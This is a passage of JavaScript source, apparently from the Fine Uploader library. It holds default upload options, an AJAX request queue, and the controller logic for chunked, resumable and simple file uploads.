                    onSubmitted: function(id, name) {},
                    onComplete: function(id, name, responseJSON, maybeXhr) {},
                    onAllComplete: function(successful, failed) {},
                    onCancel: function(id, name) {},
                    onUpload: function(id, name) {},
                    onUploadChunk: function(id, name, chunkData) {},
                    onUploadChunkSuccess: function(id, chunkData, responseJSON, xhr) {},
                    onResume: function(id, fileName, chunkData) {},
                    onProgress: function(id, name, loaded, total) {},
                    onTotalProgress: function(loaded, total) {},
                    onError: function(id, name, reason, maybeXhrOrXdr) {},
                    onAutoRetry: function(id, name, attemptNumber) {},
                    onManualRetry: function(id, name) {},
                    onValidateBatch: function(fileOrBlobData) {},
                    onValidate: function(fileOrBlobData) {},
                    onSubmitDelete: function(id) {},
                    onDelete: function(id) {},
                    onDeleteComplete: function(id, xhrOrXdr, isError) {},
                    onPasteReceived: function(blob) {},
                    onStatusChange: function(id, oldStatus, newStatus) {},
                    onSessionRequestComplete: function(response, success, xhrOrXdr) {}
                },
                messages: {
                    typeError: "{file} has an invalid extension. Valid extension(s): {extensions}.",
                    sizeError: "{file} is too large, maximum file size is {sizeLimit}.",
                    minSizeError: "{file} is too small, minimum file size is {minSizeLimit}.",
                    emptyError: "{file} is empty, please select files again without it.",
                    noFilesError: "No files to upload.",
                    tooManyItemsError: "Too many items ({netItems}) would be uploaded.  Item limit is {itemLimit}.",
                    maxHeightImageError: "Image is too tall.",
                    maxWidthImageError: "Image is too wide.",
                    minHeightImageError: "Image is not tall enough.",
                    minWidthImageError: "Image is not wide enough.",
                    retryFailTooManyItems: "Retry failed - you have reached your file limit.",
                    onLeave: "The files are being uploaded, if you leave now the upload will be canceled.",
                    unsupportedBrowserIos8Safari: "Unrecoverable error - this browser does not permit file uploading of any kind due to serious bugs in iOS8 Safari.  Please use iOS8 Chrome until Apple fixes these issues."
                },
                retry: {
                    enableAuto: false,
                    maxAutoAttempts: 3,
                    autoAttemptDelay: 5,
                    preventRetryResponseProperty: "preventRetry"
                },
                classes: {
                    buttonHover: "qq-upload-button-hover",
                    buttonFocus: "qq-upload-button-focus"
                },
                chunking: {
                    enabled: false,
                    concurrent: {
                        enabled: false
                    },
                    mandatory: false,
                    paramNames: {
                        partIndex: "qqpartindex",
                        partByteOffset: "qqpartbyteoffset",
                        chunkSize: "qqchunksize",
                        totalFileSize: "qqtotalfilesize",
                        totalParts: "qqtotalparts"
                    },
                    partSize: 2e6,
                    success: {
                        endpoint: null
                    }
                },
                resume: {
                    enabled: false,
                    recordsExpireIn: 7,
                    paramNames: {
                        resuming: "qqresume"
                    }
                },
                formatFileName: function(fileOrBlobName) {
                    return fileOrBlobName;
                },
                text: {
                    defaultResponseError: "Upload failure reason unknown",
                    fileInputTitle: "file input",
                    sizeSymbols: [ "kB", "MB", "GB", "TB", "PB", "EB" ]
                },
                deleteFile: {
                    enabled: false,
                    method: "DELETE",
                    endpoint: "/server/upload",
                    customHeaders: {},
                    params: {}
                },
                cors: {
                    expected: false,
                    sendCredentials: false,
                    allowXdr: false
                },
                blobs: {
                    defaultName: "misc_data"
                },
                paste: {
                    targetElement: null,
                    defaultName: "pasted_image"
                },
                camera: {
                    ios: false,
                    button: null
                },
                extraButtons: [],
                session: {
                    endpoint: null,
                    params: {},
                    customHeaders: {},
                    refreshOnReset: true
                },
                form: {
                    element: "qq-form",
                    autoUpload: false,
                    interceptSubmit: true
                },
                scaling: {
                    customResizer: null,
                    sendOriginal: true,
                    orient: true,
                    defaultType: null,
                    defaultQuality: 80,
                    failureText: "Failed to scale",
                    includeExif: false,
                    sizes: []
                },
                workarounds: {
                    iosEmptyVideos: true,
                    ios8SafariUploads: true,
                    ios8BrowserCrash: false
                }
            };
            qq.extend(this._options, o, true);
            this._buttons = [];
            this._extraButtonSpecs = {};
            this._buttonIdsForFileIds = [];
            this._wrapCallbacks();
            this._disposeSupport = new qq.DisposeSupport();
            this._storedIds = [];
            this._autoRetries = [];
            this._retryTimeouts = [];
            this._preventRetries = [];
            this._thumbnailUrls = [];
            this._netUploadedOrQueued = 0;
            this._netUploaded = 0;
            this._uploadData = this._createUploadDataTracker();
            this._initFormSupportAndParams();
            this._customHeadersStore = this._createStore(this._options.request.customHeaders);
            this._deleteFileCustomHeadersStore = this._createStore(this._options.deleteFile.customHeaders);
            this._deleteFileParamsStore = this._createStore(this._options.deleteFile.params);
            this._endpointStore = this._createStore(this._options.request.endpoint);
            this._deleteFileEndpointStore = this._createStore(this._options.deleteFile.endpoint);
            this._handler = this._createUploadHandler();
            this._deleteHandler = qq.DeleteFileAjaxRequester && this._createDeleteHandler();
            if (this._options.button) {
                this._defaultButtonId = this._createUploadButton({
                    element: this._options.button,
                    title: this._options.text.fileInputTitle
                }).getButtonId();
            }
            this._generateExtraButtonSpecs();
            this._handleCameraAccess();
            if (this._options.paste.targetElement) {
                if (qq.PasteSupport) {
                    this._pasteHandler = this._createPasteHandler();
                } else {
                    this.log("Paste support module not found", "error");
                }
            }
            this._preventLeaveInProgress();
            this._imageGenerator = qq.ImageGenerator && new qq.ImageGenerator(qq.bind(this.log, this));
            this._refreshSessionData();
            this._succeededSinceLastAllComplete = [];
            this._failedSinceLastAllComplete = [];
            this._scaler = qq.Scaler && new qq.Scaler(this._options.scaling, qq.bind(this.log, this)) || {};
            if (this._scaler.enabled) {
                this._customNewFileHandler = qq.bind(this._scaler.handleNewFile, this._scaler);
            }
            if (qq.TotalProgress && qq.supportedFeatures.progressBar) {
                this._totalProgress = new qq.TotalProgress(qq.bind(this._onTotalProgress, this), function(id) {
                    var entry = self._uploadData.retrieve({
                        id: id
                    });
                    return entry && entry.size || 0;
                });
            }
            this._currentItemLimit = this._options.validation.itemLimit;
        };
        qq.FineUploaderBasic.prototype = qq.basePublicApi;
        qq.extend(qq.FineUploaderBasic.prototype, qq.basePrivateApi);
    })();
    qq.AjaxRequester = function(o) {
        "use strict";
        var log, shouldParamsBeInQueryString, queue = [], requestData = {}, options = {
            acceptHeader: null,
            validMethods: [ "PATCH", "POST", "PUT" ],
            method: "POST",
            contentType: "application/x-www-form-urlencoded",
            maxConnections: 3,
            customHeaders: {},
            endpointStore: {},
            paramsStore: {},
            mandatedParams: {},
            allowXRequestedWithAndCacheControl: true,
            successfulResponseCodes: {
                DELETE: [ 200, 202, 204 ],
                PATCH: [ 200, 201, 202, 203, 204 ],
                POST: [ 200, 201, 202, 203, 204 ],
                PUT: [ 200, 201, 202, 203, 204 ],
                GET: [ 200 ]
            },
            cors: {
                expected: false,
                sendCredentials: false
            },
            log: function(str, level) {},
            onSend: function(id) {},
            onComplete: function(id, xhrOrXdr, isError) {},
            onProgress: null
        };
        qq.extend(options, o);
        log = options.log;
        if (qq.indexOf(options.validMethods, options.method) < 0) {
            throw new Error("'" + options.method + "' is not a supported method for this type of request!");
        }
        function isSimpleMethod() {
            return qq.indexOf([ "GET", "POST", "HEAD" ], options.method) >= 0;
        }
        function containsNonSimpleHeaders(headers) {
            var containsNonSimple = false;
            qq.each(containsNonSimple, function(idx, header) {
                if (qq.indexOf([ "Accept", "Accept-Language", "Content-Language", "Content-Type" ], header) < 0) {
                    containsNonSimple = true;
                    return false;
                }
            });
            return containsNonSimple;
        }
        function isXdr(xhr) {
            return options.cors.expected && xhr.withCredentials === undefined;
        }
        function getCorsAjaxTransport() {
            var xhrOrXdr;
            if (window.XMLHttpRequest || window.ActiveXObject) {
                xhrOrXdr = qq.createXhrInstance();
                if (xhrOrXdr.withCredentials === undefined) {
                    xhrOrXdr = new XDomainRequest();
                    xhrOrXdr.onload = function() {};
                    xhrOrXdr.onerror = function() {};
                    xhrOrXdr.ontimeout = function() {};
                    xhrOrXdr.onprogress = function() {};
                }
            }
            return xhrOrXdr;
        }
        function getXhrOrXdr(id, suppliedXhr) {
            var xhrOrXdr = requestData[id].xhr;
            if (!xhrOrXdr) {
                if (suppliedXhr) {
                    xhrOrXdr = suppliedXhr;
                } else {
                    if (options.cors.expected) {
                        xhrOrXdr = getCorsAjaxTransport();
                    } else {
                        xhrOrXdr = qq.createXhrInstance();
                    }
                }
                requestData[id].xhr = xhrOrXdr;
            }
            return xhrOrXdr;
        }
        function dequeue(id) {
            var i = qq.indexOf(queue, id), max = options.maxConnections, nextId;
            delete requestData[id];
            queue.splice(i, 1);
            if (queue.length >= max && i < max) {
                nextId = queue[max - 1];
                sendRequest(nextId);
            }
        }
        function onComplete(id, xdrError) {
            var xhr = getXhrOrXdr(id), method = options.method, isError = xdrError === true;
            dequeue(id);
            if (isError) {
                log(method + " request for " + id + " has failed", "error");
            } else if (!isXdr(xhr) && !isResponseSuccessful(xhr.status)) {
                isError = true;
                log(method + " request for " + id + " has failed - response code " + xhr.status, "error");
            }
            options.onComplete(id, xhr, isError);
        }
        function getParams(id) {
            var onDemandParams = requestData[id].additionalParams, mandatedParams = options.mandatedParams, params;
            if (options.paramsStore.get) {
                params = options.paramsStore.get(id);
            }
            if (onDemandParams) {
                qq.each(onDemandParams, function(name, val) {
                    params = params || {};
                    params[name] = val;
                });
            }
            if (mandatedParams) {
                qq.each(mandatedParams, function(name, val) {
                    params = params || {};
                    params[name] = val;
                });
            }
            return params;
        }
        function sendRequest(id, optXhr) {
            var xhr = getXhrOrXdr(id, optXhr), method = options.method, params = getParams(id), payload = requestData[id].payload, url;
            options.onSend(id);
            url = createUrl(id, params, requestData[id].additionalQueryParams);
            if (isXdr(xhr)) {
                xhr.onload = getXdrLoadHandler(id);
                xhr.onerror = getXdrErrorHandler(id);
            } else {
                xhr.onreadystatechange = getXhrReadyStateChangeHandler(id);
            }
            registerForUploadProgress(id);
            xhr.open(method, url, true);
            if (options.cors.expected && options.cors.sendCredentials && !isXdr(xhr)) {
                xhr.withCredentials = true;
            }
            setHeaders(id);
            log("Sending " + method + " request for " + id);
            if (payload) {
                xhr.send(payload);
            } else if (shouldParamsBeInQueryString || !params) {
                xhr.send();
            } else if (params && options.contentType && options.contentType.toLowerCase().indexOf("application/x-www-form-urlencoded") >= 0) {
                xhr.send(qq.obj2url(params, ""));
            } else if (params && options.contentType && options.contentType.toLowerCase().indexOf("application/json") >= 0) {
                xhr.send(JSON.stringify(params));
            } else {
                xhr.send(params);
            }
            return xhr;
        }
        function createUrl(id, params, additionalQueryParams) {
            var endpoint = options.endpointStore.get(id), addToPath = requestData[id].addToPath;
            if (addToPath != undefined) {
                endpoint += "/" + addToPath;
            }
            if (shouldParamsBeInQueryString && params) {
                endpoint = qq.obj2url(params, endpoint);
            }
            if (additionalQueryParams) {
                endpoint = qq.obj2url(additionalQueryParams, endpoint);
            }
            return endpoint;
        }
        function getXhrReadyStateChangeHandler(id) {
            return function() {
                if (getXhrOrXdr(id).readyState === 4) {
                    onComplete(id);
                }
            };
        }
        function registerForUploadProgress(id) {
            var onProgress = options.onProgress;
            if (onProgress) {
                getXhrOrXdr(id).upload.onprogress = function(e) {
                    if (e.lengthComputable) {
                        onProgress(id, e.loaded, e.total);
                    }
                };
            }
        }
        function getXdrLoadHandler(id) {
            return function() {
                onComplete(id);
            };
        }
        function getXdrErrorHandler(id) {
            return function() {
                onComplete(id, true);
            };
        }
        function setHeaders(id) {
            var xhr = getXhrOrXdr(id), customHeaders = options.customHeaders, onDemandHeaders = requestData[id].additionalHeaders || {}, method = options.method, allHeaders = {};
            if (!isXdr(xhr)) {
                options.acceptHeader && xhr.setRequestHeader("Accept", options.acceptHeader);
                if (options.allowXRequestedWithAndCacheControl) {
                    if (!options.cors.expected || (!isSimpleMethod() || containsNonSimpleHeaders(customHeaders))) {
                        xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
                        xhr.setRequestHeader("Cache-Control", "no-cache");
                    }
                }
                if (options.contentType && (method === "POST" || method === "PUT")) {
                    xhr.setRequestHeader("Content-Type", options.contentType);
                }
                qq.extend(allHeaders, qq.isFunction(customHeaders) ? customHeaders(id) : customHeaders);
                qq.extend(allHeaders, onDemandHeaders);
                qq.each(allHeaders, function(name, val) {
                    xhr.setRequestHeader(name, val);
                });
            }
        }
        function isResponseSuccessful(responseCode) {
            return qq.indexOf(options.successfulResponseCodes[options.method], responseCode) >= 0;
        }
        function prepareToSend(id, optXhr, addToPath, additionalParams, additionalQueryParams, additionalHeaders, payload) {
            requestData[id] = {
                addToPath: addToPath,
                additionalParams: additionalParams,
                additionalQueryParams: additionalQueryParams,
                additionalHeaders: additionalHeaders,
                payload: payload
            };
            var len = queue.push(id);
            if (len <= options.maxConnections) {
                return sendRequest(id, optXhr);
            }
        }
        shouldParamsBeInQueryString = options.method === "GET" || options.method === "DELETE";
        qq.extend(this, {
            initTransport: function(id) {
                var path, params, headers, payload, cacheBuster, additionalQueryParams;
                return {
                    withPath: function(appendToPath) {
                        path = appendToPath;
                        return this;
                    },
                    withParams: function(additionalParams) {
                        params = additionalParams;
                        return this;
                    },
                    withQueryParams: function(_additionalQueryParams_) {
                        additionalQueryParams = _additionalQueryParams_;
                        return this;
                    },
                    withHeaders: function(additionalHeaders) {
                        headers = additionalHeaders;
                        return this;
                    },
                    withPayload: function(thePayload) {
                        payload = thePayload;
                        return this;
                    },
                    withCacheBuster: function() {
                        cacheBuster = true;
                        return this;
                    },
                    send: function(optXhr) {
                        if (cacheBuster && qq.indexOf([ "GET", "DELETE" ], options.method) >= 0) {
                            params.qqtimestamp = new Date().getTime();
                        }
                        return prepareToSend(id, optXhr, path, params, additionalQueryParams, headers, payload);
                    }
                };
            },
            canceled: function(id) {
                dequeue(id);
            }
        });
    };
    qq.UploadHandler = function(spec) {
        "use strict";
        var proxy = spec.proxy, fileState = {}, onCancel = proxy.onCancel, getName = proxy.getName;
        qq.extend(this, {
            add: function(id, fileItem) {
                fileState[id] = fileItem;
                fileState[id].temp = {};
            },
            cancel: function(id) {
                var self = this, cancelFinalizationEffort = new qq.Promise(), onCancelRetVal = onCancel(id, getName(id), cancelFinalizationEffort);
                onCancelRetVal.then(function() {
                    if (self.isValid(id)) {
                        fileState[id].canceled = true;
                        self.expunge(id);
                    }
                    cancelFinalizationEffort.success();
                });
            },
            expunge: function(id) {
                delete fileState[id];
            },
            getThirdPartyFileId: function(id) {
                return fileState[id].key;
            },
            isValid: function(id) {
                return fileState[id] !== undefined;
            },
            reset: function() {
                fileState = {};
            },
            _getFileState: function(id) {
                return fileState[id];
            },
            _setThirdPartyFileId: function(id, thirdPartyFileId) {
                fileState[id].key = thirdPartyFileId;
            },
            _wasCanceled: function(id) {
                return !!fileState[id].canceled;
            }
        });
    };
    qq.UploadHandlerController = function(o, namespace) {
        "use strict";
        var controller = this, chunkingPossible = false, concurrentChunkingPossible = false, chunking, preventRetryResponse, log, handler, options = {
            paramsStore: {},
            maxConnections: 3,
            chunking: {
                enabled: false,
                multiple: {
                    enabled: false
                }
            },
            log: function(str, level) {},
            onProgress: function(id, fileName, loaded, total) {},
            onComplete: function(id, fileName, response, xhr) {},
            onCancel: function(id, fileName) {},
            onUploadPrep: function(id) {},
            onUpload: function(id, fileName) {},
            onUploadChunk: function(id, fileName, chunkData) {},
            onUploadChunkSuccess: function(id, chunkData, response, xhr) {},
            onAutoRetry: function(id, fileName, response, xhr) {},
            onResume: function(id, fileName, chunkData) {},
            onUuidChanged: function(id, newUuid) {},
            getName: function(id) {},
            setSize: function(id, newSize) {},
            isQueued: function(id) {},
            getIdsInProxyGroup: function(id) {},
            getIdsInBatch: function(id) {}
        }, chunked = {
            done: function(id, chunkIdx, response, xhr) {
                var chunkData = handler._getChunkData(id, chunkIdx);
                handler._getFileState(id).attemptingResume = false;
                delete handler._getFileState(id).temp.chunkProgress[chunkIdx];
                handler._getFileState(id).loaded += chunkData.size;
                options.onUploadChunkSuccess(id, handler._getChunkDataForCallback(chunkData), response, xhr);
            },
            finalize: function(id) {
                var size = options.getSize(id), name = options.getName(id);
                log("All chunks have been uploaded for " + id + " - finalizing....");
                handler.finalizeChunks(id).then(function(response, xhr) {
                    log("Finalize successful for " + id);
                    var normaizedResponse = upload.normalizeResponse(response, true);
                    options.onProgress(id, name, size, size);
                    handler._maybeDeletePersistedChunkData(id);
                    upload.cleanup(id, normaizedResponse, xhr);
                }, function(response, xhr) {
                    var normaizedResponse = upload.normalizeResponse(response, false);
                    log("Problem finalizing chunks for file ID " + id + " - " + normaizedResponse.error, "error");
                    if (normaizedResponse.reset) {
                        chunked.reset(id);
                    }
                    if (!options.onAutoRetry(id, name, normaizedResponse, xhr)) {
                        upload.cleanup(id, normaizedResponse, xhr);
                    }
                });
            },
            hasMoreParts: function(id) {
                return !!handler._getFileState(id).chunking.remaining.length;
            },
            nextPart: function(id) {
                var nextIdx = handler._getFileState(id).chunking.remaining.shift();
                if (nextIdx >= handler._getTotalChunks(id)) {
                    nextIdx = null;
                }
                return nextIdx;
            },
            reset: function(id) {
                log("Server or callback has ordered chunking effort to be restarted on next attempt for item ID " + id, "error");
                handler._maybeDeletePersistedChunkData(id);
                handler.reevaluateChunking(id);
                handler._getFileState(id).loaded = 0;
            },
            sendNext: function(id) {
                var size = options.getSize(id), name = options.getName(id), chunkIdx = chunked.nextPart(id), chunkData = handler._getChunkData(id, chunkIdx), resuming = handler._getFileState(id).attemptingResume, inProgressChunks = handler._getFileState(id).chunking.inProgress || [];
                if (handler._getFileState(id).loaded == null) {
                    handler._getFileState(id).loaded = 0;
                }
                if (resuming && options.onResume(id, name, chunkData) === false) {
                    chunked.reset(id);
                    chunkIdx = chunked.nextPart(id);
                    chunkData = handler._getChunkData(id, chunkIdx);
                    resuming = false;
                }
                if (chunkIdx == null && inProgressChunks.length === 0) {
                    chunked.finalize(id);
                } else {
                    log(qq.format("Sending chunked upload request for item {}.{}, bytes {}-{} of {}.", id, chunkIdx, chunkData.start + 1, chunkData.end, size));
                    options.onUploadChunk(id, name, handler._getChunkDataForCallback(chunkData));
                    inProgressChunks.push(chunkIdx);
                    handler._getFileState(id).chunking.inProgress = inProgressChunks;
                    if (concurrentChunkingPossible) {
                        connectionManager.open(id, chunkIdx);
                    }
                    if (concurrentChunkingPossible && connectionManager.available() && handler._getFileState(id).chunking.remaining.length) {
                        chunked.sendNext(id);
                    }
                    handler.uploadChunk(id, chunkIdx, resuming).then(function success(response, xhr) {
                        log("Chunked upload request succeeded for " + id + ", chunk " + chunkIdx);
                        handler.clearCachedChunk(id, chunkIdx);
                        var inProgressChunks = handler._getFileState(id).chunking.inProgress || [], responseToReport = upload.normalizeResponse(response, true), inProgressChunkIdx = qq.indexOf(inProgressChunks, chunkIdx);
                        log(qq.format("Chunk {} for file {} uploaded successfully.", chunkIdx, id));
                        chunked.done(id, chunkIdx, responseToReport, xhr);
                        if (inProgressChunkIdx >= 0) {
                            inProgressChunks.splice(inProgressChunkIdx, 1);
                        }
                        handler._maybePersistChunkedState(id);
                        if (!chunked.hasMoreParts(id) && inProgressChunks.length === 0) {
                            chunked.finalize(id);
                        } else if (chunked.hasMoreParts(id)) {
                            chunked.sendNext(id);
                        } else {
                            log(qq.format("File ID {} has no more chunks to send and these chunk indexes are still marked as in-progress: {}", id, JSON.stringify(inProgressChunks)));
                        }
                    }, function failure(response, xhr) {
                        log("Chunked upload request failed for " + id + ", chunk " + chunkIdx);
                        handler.clearCachedChunk(id, chunkIdx);
                        var responseToReport = upload.normalizeResponse(response, false), inProgressIdx;
                        if (responseToReport.reset) {
                            chunked.reset(id);
                        } else {
                            inProgressIdx = qq.indexOf(handler._getFileState(id).chunking.inProgress, chunkIdx);
                            if (inProgressIdx >= 0) {
                                handler._getFileState(id).chunking.inProgress.splice(inProgressIdx, 1);
                                handler._getFileState(id).chunking.remaining.unshift(chunkIdx);
                            }
                        }
                        if (!handler._getFileState(id).temp.ignoreFailure) {
                            if (concurrentChunkingPossible) {
                                handler._getFileState(id).temp.ignoreFailure = true;
                                log(qq.format("Going to attempt to abort these chunks: {}. These are currently in-progress: {}.", JSON.stringify(Object.keys(handler._getXhrs(id))), JSON.stringify(handler._getFileState(id).chunking.inProgress)));
                                qq.each(handler._getXhrs(id), function(ckid, ckXhr) {
                                    log(qq.format("Attempting to abort file {}.{}. XHR readyState {}. ", id, ckid, ckXhr.readyState));
                                    ckXhr.abort();
                                    ckXhr._cancelled = true;
                                });
                                handler.moveInProgressToRemaining(id);
                                connectionManager.free(id, true);
                            }
                            if (!options.onAutoRetry(id, name, responseToReport, xhr)) {
                                upload.cleanup(id, responseToReport, xhr);
                            }
                        }
                    }).done(function() {
                        handler.clearXhr(id, chunkIdx);
                    });
                }
            }
        }, connectionManager = {
            _open: [],
            _openChunks: {},
            _waiting: [],
            available: function() {
                var max = options.maxConnections, openChunkEntriesCount = 0, openChunksCount = 0;
                qq.each(connectionManager._openChunks, function(fileId, openChunkIndexes) {
                    openChunkEntriesCount++;
                    openChunksCount += openChunkIndexes.length;
                });
                return max - (connectionManager._open.length - openChunkEntriesCount + openChunksCount);
            },
            free: function(id, dontAllowNext) {
                var allowNext = !dontAllowNext, waitingIndex = qq.indexOf(connectionManager._waiting, id), connectionsIndex = qq.indexOf(connectionManager._open, id), nextId;
                delete connectionManager._openChunks[id];
                if (upload.getProxyOrBlob(id) instanceof qq.BlobProxy) {
                    log("Generated blob upload has ended for " + id + ", disposing generated blob.");
                    delete handler._getFileState(id).file;
                }
                if (waitingIndex >= 0) {
                    connectionManager._waiting.splice(waitingIndex, 1);
                } else if (allowNext && connectionsIndex >= 0) {
                    connectionManager._open.splice(connectionsIndex, 1);
                    nextId = connectionManager._waiting.shift();
                    if (nextId >= 0) {
                        connectionManager._open.push(nextId);
                        upload.start(nextId);
                    }
                }
            },
            getWaitingOrConnected: function() {
                var waitingOrConnected = [];
                qq.each(connectionManager._openChunks, function(fileId, chunks) {
                    if (chunks && chunks.length) {
                        waitingOrConnected.push(parseInt(fileId));
                    }
                });
                qq.each(connectionManager._open, function(idx, fileId) {
                    if (!connectionManager._openChunks[fileId]) {
                        waitingOrConnected.push(parseInt(fileId));
                    }
                });
                waitingOrConnected = waitingOrConnected.concat(connectionManager._waiting);
                return waitingOrConnected;
            },
            isUsingConnection: function(id) {
                return qq.indexOf(connectionManager._open, id) >= 0;
            },
            open: function(id, chunkIdx) {
                if (chunkIdx == null) {
                    connectionManager._waiting.push(id);
                }
                if (connectionManager.available()) {
                    if (chunkIdx == null) {
                        connectionManager._waiting.pop();
                        connectionManager._open.push(id);
                    } else {
                        (function() {
                            var openChunksEntry = connectionManager._openChunks[id] || [];
                            openChunksEntry.push(chunkIdx);
                            connectionManager._openChunks[id] = openChunksEntry;
                        })();
                    }
                    return true;
                }
                return false;
            },
            reset: function() {
                connectionManager._waiting = [];
                connectionManager._open = [];
            }
        }, simple = {
            send: function(id, name) {
                handler._getFileState(id).loaded = 0;
                log("Sending simple upload request for " + id);
                handler.uploadFile(id).then(function(response, optXhr) {
                    log("Simple upload request succeeded for " + id);
                    var responseToReport = upload.normalizeResponse(response, true), size = options.getSize(id);
                    options.onProgress(id, name, size, size);
                    upload.maybeNewUuid(id, responseToReport);
                    upload.cleanup(id, responseToReport, optXhr);
                }, function(response, optXhr) {
                    log("Simple upload request failed for " + id);
                    var responseToReport = upload.normalizeResponse(response, false);
                    if (!options.onAutoRetry(id, name, responseToReport, optXhr)) {
                        upload.cleanup(id, responseToReport, optXhr);
                    }
                });
            }
        }, upload = {
            cancel: function(id) {
                log("Cancelling " + id);
                options.paramsStore.remove(id);
                connectionManager.free(id);
            },
            cleanup: function(id, response, optXhr) {
                var name = options.getName(id);
                options.onComplete(id, name, response, optXhr);
                if (handler._getFileState(id)) {
                    handler._clearXhrs && handler._clearXhrs(id);
                }
                connectionManager.free(id);
            },
            getProxyOrBlob: function(id) {
                return handler.getProxy && handler.getProxy(id) || handler.getFile && handler.getFile(id);
            },
            initHandler: function() {
                var handlerType = namespace ? qq[namespace] : qq.traditional, handlerModuleSubtype = qq.supportedFeatures.ajaxUploading ? "Xhr" : "Form";
                handler = new handlerType[handlerModuleSubtype + "UploadHandler"](options, {
                    getDataByUuid: options.getDataByUuid,
                    getName: options.getName,
                    getSize: options.getSize,
                    getUuid: options.getUuid,
                    log: log,
                    onCancel: options.onCancel,
                    onProgress: options.onProgress,
                    onUuidChanged: options.onUuidChanged
                });
                if (handler._removeExpiredChunkingRecords) {
                    handler._removeExpiredChunkingRecords();
                }
            },
            isDeferredEligibleForUpload: function(id) {
                return options.isQueued(id);
            },
            maybeDefer: function(id, blob) {
                if (blob && !handler.getFile(id) && blob instanceof qq.BlobProxy) {
                    options.onUploadPrep(id);
                    log("Attempting to generate a blob on-demand for " + id);
                    blob.create().then(function(generatedBlob) {
                        log("Generated an on-demand blob for " + id);
                        handler.updateBlob(id, generatedBlob);
                        options.setSize(id, generatedBlob.size);
                        handler.reevaluateChunking(id);
                        upload.maybeSendDeferredFiles(id);
                    }, function(errorMessage) {
                        var errorResponse = {};
                        if (errorMessage) {
                            errorResponse.error = errorMessage;
                        }
                        log(qq.format("Failed to generate blob for ID {}.  Error message: {}.", id, errorMessage), "error");
                        options.onComplete(id, options.getName(id), qq.extend(errorResponse, preventRetryResponse), null);
                        upload.maybeSendDeferredFiles(id);
                        connectionManager.free(id);
                    });
                } else {
                    return upload.maybeSendDeferredFiles(id);
                }
                return false;
            },
            maybeSendDeferredFiles: function(id) {
                var idsInGroup = options.getIdsInProxyGroup(id), uploadedThisId = false;
                if (idsInGroup && idsInGroup.length) {
                    log("Maybe ready to upload proxy group file " + id);
                    qq.each(idsInGroup, function(idx, idInGroup) {
                        if (upload.isDeferredEligibleForUpload(idInGroup) && !!handler.getFile(idInGroup)) {
                            uploadedThisId = idInGroup === id;
                            upload.now(idInGroup);
                        } else if (upload.isDeferredEligibleForUpload(idInGroup)) {
                            return false;
                        }
                    });
                } else {
                    uploadedThisId = true;
                    upload.now(id);
                }
                return uploadedThisId;
            },
            maybeNewUuid: function(id, response) {
                if (response.newUuid !== undefined) {
                    options.onUuidChanged(id, response.newUuid);
                }
            },
            normalizeResponse: function(originalResponse, successful) {
                var response = originalResponse;
                if (!qq.isObject(originalResponse)) {
                    response = {};
                    if (qq.isString(originalResponse) && !successful) {
                        response.error = originalResponse;
                    }
                }
                response.success = successful;
                return response;
            },
            now: function(id) {
                var name = options.getName(id);
                if (!controller.isValid(id)) {
                    throw new qq.Error(id + " is not a valid file ID to upload!");
                }
                options.onUpload(id, name);
                if (chunkingPossible && handler._shouldChunkThisFile(id)) {
                    chunked.sendNext(id);
                } else {
                    simple.send(id, name);
                }
            },
            start: function(id) {
                var blobToUpload = upload.getProxyOrBlob(id);
                if (blobToUpload) {
                    return upload.maybeDefer(id, blobToUpload);
                } else {
                    upload.now(id);
                    return true;
                }
            }
        };
        qq.extend(this, {
            add: function(id, file) {
                handler.add.apply(this, arguments);
            },
            upload: function(id) {
                if (connectionManager.open(id)) {
                    return upload.start(id);
                }
                return false;
            },
            retry: function(id) {
                if (concurrentChunkingPossible) {
                    handler._getFileState(id).temp.ignoreFailure = false;
                }
                if (connectionManager.isUsingConnection(id)) {
                    return upload.start(id);
                } else {
                    return controller.upload(id);
                }
            },
            cancel: function(id) {
                var cancelRetVal = handler.cancel(id);
                if (qq.isGenericPromise(cancelRetVal)) {
                    cancelRetVal.then(function() {
                        upload.cancel(id);
                    });
                } else if (cancelRetVal !== false) {
                    upload.cancel(id);
                }
            },
            cancelAll: function() {
                var waitingOrConnected = connectionManager.getWaitingOrConnected(), i;
                if (waitingOrConnected.length) {
                    for (i = waitingOrConnected.length - 1; i >= 0; i--) {
                        controller.cancel(waitingOrConnected[i]);
                    }
                }
                connectionManager.reset();
            },
            getFile: function(id) {
                if (handler.getProxy && handler.getProxy(id)) {
                    return handler.getProxy(id).referenceBlob;
                }
                return handler.getFile && handler.getFile(id);
            },
            isProxied: function(id) {
                return !!(handler.getProxy && handler.getProxy(id));
            },
            getInput: function(id) {
                if (handler.getInput) {
                    return handler.getInput(id);
                }
            },
            reset: function() {
                log("Resetting upload handler");
                controller.cancelAll();
                connectionManager.reset();
                handler.reset();
            },
            expunge: function(id) {
                if (controller.isValid(id)) {
                    return handler.expunge(id);
                }
            },
            isValid: function(id) {
                return handler.isValid(id);
            },
            getResumableFilesData: function() {
                if (handler.getResumableFilesData) {
                    return handler.getResumableFilesData();
                }
                return [];
            },
            getThirdPartyFileId: function(id) {
                if (controller.isValid(id)) {
                    return handler.getThirdPartyFileId(id);
                }
            },
            pause: function(id) {
                if (controller.isResumable(id) && handler.pause && controller.isValid(id) && handler.pause(id)) {
                    connectionManager.free(id);
                    handler.moveInProgressToRemaining(id);
                    return true;
                }
                return false;
            },
            isResumable: function(id) {
                return !!handler.isResumable && handler.isResumable(id);
            }
        });
        qq.extend(options, o);
        log = options.log;
        chunkingPossible = options.chunking.enabled && qq.supportedFeatures.chunking;
        concurrentChunkingPossible = chunkingPossible && options.chunking.concurrent.enabled;
        preventRetryResponse = function() {
            var response = {};
            response[options.preventRetryParam] = true;
            return response;
        }();
        upload.initHandler();
    };
    qq.WindowReceiveMessage = function(o) {
        "use strict";
        var options = {
            log: function(message, level) {}
        }, callbackWrapperDetachers = {};
        qq.extend(options, o);
        qq.extend(this, {
            receiveMessage: function(id, callback) {
                var onMessageCallbackWrapper = function(event) {
                    callback(event.data);
                };
                if (window.postMessage) {
                    callbackWrapperDetachers[id] = qq(window).attach("message", onMessageCallbackWrapper);
                } else {
                    log("iframe message passing not supported in this browser!", "error");
                }
            },
            stopReceivingMessages: function(id) {
                if (window.postMessage) {
                    var detacher = callbackWrapperDetachers[id];
                    if (detacher) {
                        detacher();
                    }
                }
            }
        });
    };
    qq.FormUploadHandler = function(spec) {
        "use strict";
